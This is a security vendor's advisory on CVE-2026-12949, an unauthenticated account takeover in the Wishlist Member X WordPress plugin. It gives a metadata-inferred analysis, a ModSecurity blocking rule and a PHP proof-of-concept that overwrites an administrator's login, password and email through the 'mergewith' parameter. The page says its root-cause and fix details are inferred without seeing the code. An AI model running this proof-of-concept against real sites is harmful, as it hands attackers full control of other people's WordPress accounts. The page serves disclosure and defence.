Published : August 13, 2026

CVE-2026-12949: Wishlist Member X <= 3.34.1 Unauthenticated Account Takeover via 'mergewith' Parameter PoC, Patch Analysis & Rule

Severity Critical (CVSS 9.8)
CWE 640
Vulnerable Version 3.34.1
Patched Version
Disclosed August 12, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-12949 (metadata-based): This vulnerability allows unauthenticated attackers to take over any existing WordPress account, including administrators, in the Wishlist Member X plugin versions up to and including 3.34.1. The flaw resides in the wpm_register() function, which improperly validates the registration cookie and accepts attacker-controlled ‘mergewith’ and ‘wpm_id’ parameters without ensuring the ‘mergewith’ user ID belongs to a temporary, incomplete registrant tied to the current session. With a CVSS score of 9.8 and no authentication or user interaction required, this is a critical account takeover and privilege escalation vector.

Root cause: The CWE classification (CWE-640, Weak Password Recovery Mechanism) and the vulnerability description indicate that the plugin fails to enforce data authenticity in the account merging logic. The wpm_register() function checks the registration cookie against the GET ‘reg’ parameter, but it trusts the POST ‘mergewith’ and ‘wpm_id’ values without verifying that the ‘mergewith’ ID refers to a user record created as part of the current registration flow. Atomic Edge analysis infers that the merge process calls wp_update_user() and also performs a direct $wpdb UPDATE on the user’s username, overwriting the target account’s credentials and profile fields with attacker-supplied values. The plugin suppresses the standard WordPress password and email change notifications, allowing silent takeover. When ‘wpm_id’ references a non-existent membership level, the update payload omits a role key, so wp_update_user() preserves the target user’s existing role, resulting in immediate privilege escalation to the taken account’s original role (e.g., administrator). These conclusions are inferred from the CWE, CVSS vector, and description; no source code diff was available for confirmation.

Exploitation: An unauthenticated attacker sends a crafted HTTP POST request to the plugin’s registration form handler. The attacker starts a registration transaction by providing a valid ‘reg’ GET parameter that passes the cookie check. In the same request, the attacker sets ‘mergewith’ to the numeric user ID of an existing WordPress user (e.g., an administrator) and sets ‘wpm_id’ to a non-existent membership level value. The request also includes attacker-controlled values for ‘user_login’, ‘user_pass’, ‘user_email’, ‘first_name’, and ‘last_name’. The vulnerable wpm_register() function calls wp_update_user() with these fields, overwriting the target user’s credentials without sending notification emails. Because no role is specified, the target’s administrator role remains intact. The attacker can then log in to the target account using the newly set credentials and gain full administrative access. A realistic PoC would send the registration request with the ‘mergewith’ parameter set to the target user ID and the required registration form fields.

Remediation: The patched version (3.34.2) likely fixes this by strictly associating any ‘mergewith’ user ID with a temporary user record created during the exact registration session. The plugin must verify that the ‘mergewith’ ID corresponds to a user with a specific temporary role or meta flag that was set during the current unauthenticated registration flow. The plugin should also ensure that ‘wpm_id’ references a valid membership level and, if not, abort the update rather than leaving the role undefined. Best practices include using WordPress nonces for all form submissions, validating that the ‘mergewith’ user record belongs to the current session, and never allowing arbitrary user IDs to be passed into wp_update_user() without strict checks. Atomic Edge analysis recommends that the plugin also re-enable notification emails for any credential or email changes as a defense-in-depth measure.

Impact: Successful exploitation results in complete account takeover with no authentication, allowing an attacker to gain the same privileges as the compromised account. If the target is an administrator, the attacker gains full site control, including the ability to upload plugins, modify themes, create backdoor users, and potentially execute arbitrary code through plugin or template edits. Data confidentiality and integrity are compromised, and the absence of email notifications allows silent persistence. The high CVSS score and the trivial exploitation requirements make this a critical risk for any site running a vulnerable version of Wishlist Member X. Atomic Edge research strongly recommends immediate patching to version 3.34.2 and monitoring for suspicious registration activity.

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
SecRule REQUEST_METHOD "@streq POST" "id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2026-12949 Wishlist Member X Account Takeover via mergewith',severity:'CRITICAL',tag:'CVE-2026-12949'"
  SecRule ARGS:wpm_register "@streq 1" "chain"
    SecRule ARGS:mergewith "@rx ^[0-9]+$" "t:none,msg:'CVE-2026-12949 invalid mergewith target',severity:'CRITICAL',tag:'CVE-2026-12949'"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-12949 - Wishlist Member X <= 3.34.1 - Unauthenticated Account Takeover via 'mergewith' Parameter

// Configuration
$target_url = 'http://target.example.com'; // Change to the WordPress base URL
$reg_value = 'some_valid_reg_value';       // Obtained by initiating a normal registration flow (see analysis)
$victim_user_id = 1;                        // Numeric ID of the target account (e.g., admin)
$attacker_login = 'attacker_username';     // Replacement username (must be unique)
$attacker_pass  = 'AttackerPass123!';      // Replacement password
$attacker_email = 'attacker@example.com';  // Replacement email

// Build the registration POST data. The exact parameter names may vary; adjust based on the plugin's form.
$post_data = array(
    'user_login' => $attacker_login,
    'user_pass'  => $attacker_pass,
    'user_email' => $attacker_email,
    'first_name' => 'Attacker',
    'last_name'  => 'User',
    'mergewith'  => $victim_user_id,
    'wpm_id'     => 'nonexistent_level_id', // Any value that does not map to a valid membership level
    'wpm_register' => '1',                  // Trigger the registration handler
);

// Include a GET 'reg' parameter for cookie validation.
$url = $target_url . '/index.php?' . http_build_query(array('reg' => $reg_value));

// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_COOKIE, 'cookie_value=some_registration_cookie'); // May be needed for session validation
curl_setopt($ch, CURLOPT_USERAGENT, 'AtomicEdge-PoC');

// Execute and output response
$response = curl_exec($ch);
if (curl_errno($ch)) {
    echo "cURL error: " . curl_error($ch) . "n";
} else {
    echo "Response:n" . $response . "n";
    echo "Attempted to take over user ID: $victim_user_idn";
    echo "Now try logging in with username: $attacker_login and password: $attacker_passn";
}
curl_close($ch);

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.